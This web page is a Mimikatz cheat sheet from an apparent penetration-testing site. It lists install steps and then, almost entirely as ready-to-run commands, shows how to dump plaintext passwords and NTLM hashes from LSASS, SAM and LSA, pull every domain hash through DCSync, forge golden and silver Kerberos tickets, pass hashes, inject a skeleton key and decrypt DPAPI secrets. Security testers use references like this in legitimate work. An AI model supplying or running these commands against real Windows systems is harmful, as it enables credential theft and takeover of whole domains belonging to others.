Pentesting.Site - Mimikatz Cheat Sheet

Mimikatz is a widely-used post-exploitation tool designed to extract sensitive information, such as plaintext passwords, hashes, and Kerberos tickets, from system memory. It is commonly used by penetration testers and attackers to demonstrate the risks of credential theft and privilege escalation in Windows environments.

Download Mimikatz

Installation and Setup

Using Precompiled Binary

Download the release ZIP file.
Extract it to a directory.
Launch as Administrator by right-clicking mimikatz.exe – Run as Administrator.

Building from Source

1
git clone https://github.com/gentilkiwi/mimikatz.git
2
cd mimikatz/mimikatz
3
nmake

Starting Mimikatz

1
mimikatz.exe

1
mimikatz.exe "command"

1
privilege::debug

Core Commands

General Commands

1
help                          #List all available commands
2
exit                          #Quit Mimikatz
3
log file.txt                  #Log all output to a file
4
version                       #Display Mimikatz version

Privilege Escalation

1
privilege::debug              #Enable debug privileges
2
token::whoami                 #Check the current token privileges
3
token::elevate                #Attempt to elevate the token privileges
4
token::revert                 #Revert to original token

Password and Hash Dumping

Local Credential Dumping

1
sekurlsa::logonpasswords      #Dump credentials of logged-in users
2
sekurlsa::credman             #Retrieve saved credentials in Credential Manager

Extract NTLM Hashes

1
lsadump::sam                  #Dump hashes from the SAM database
2
lsadump::lsa /inject          #Extract secrets from LSA
3
lsadump::secrets              #Extract stored secrets (e.g., service account passwords)

Domain Controller Hash Extraction (DCSync)

1
lsadump::dcsync /domain:example.com /user:Administrator      #Sync NTLM hash for a specific user
2
lsadump::dcsync /all /domain:example.com                     #Sync all domain NTLM hashes
3
lsadump::dcsync /domain:example.com /user:krbtgt             #Extract the Kerberos TGT hash

Kerberos Operations

List and Export Tickets

1
kerberos::list                #List all Kerberos tickets
2
kerberos::list /export        #Export tickets to .kirbi files

Pass-the-Ticket

1
kerberos::ptt ticket.kirbi    #Inject a Kerberos ticket

Golden Ticket Creation

1
kerberos::golden /domain:example.com /sid:S-1-5-21... /krbtgt:<hash> /user:Administrator

Silver Ticket Creation

1
kerberos::golden /domain:example.com /sid:S-1-5-21... /target:SERVER /rc4:<hash> /user:User

Kerberos Delegation Tickets

1
kerberos::golden /domain:example.com /sid:S-1-5-21... /user:Administrator /rc4:<hash> /service:krbtgt

Pass-the-Hash

Perform Pass-the-Hash Attack

1
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:cmd.exe

Combine with PowerShell

1
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:powershell.exe

Dumping LSASS Memory

Live Dump

1
sekurlsa::logonpasswords      #Extract credentials directly from memory

Offline Analysis

1
procdump.exe -ma lsass.exe lsass.dmp
2
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"

Generating Skeleton Keys

1
misc::skeleton                #Inject a universal key to authenticate any domain account

Credential Extraction via DPAPI

Extract Master Keys

1
dpapi::masterkey /in:<file>

Decrypt Credentials

1
dpapi::cred /in:<credential_file>
2
dpapi::wifi /in:<wireless_profile.xml>

Exporting and Logging

Export Logs

1
log log.txt                  #Save output to a file

Export Kerberos Tickets

1
kerberos::list /export       #Save tickets to .kirbi files

Advanced Examples and Use Cases

Extracting Service Account Passwords

1
lsadump::secrets /inject

Bypassing RunAs Restrictions

1
token::elevate
2
misc::cmd

Stealing Cached Credentials

1
sekurlsa::logonpasswords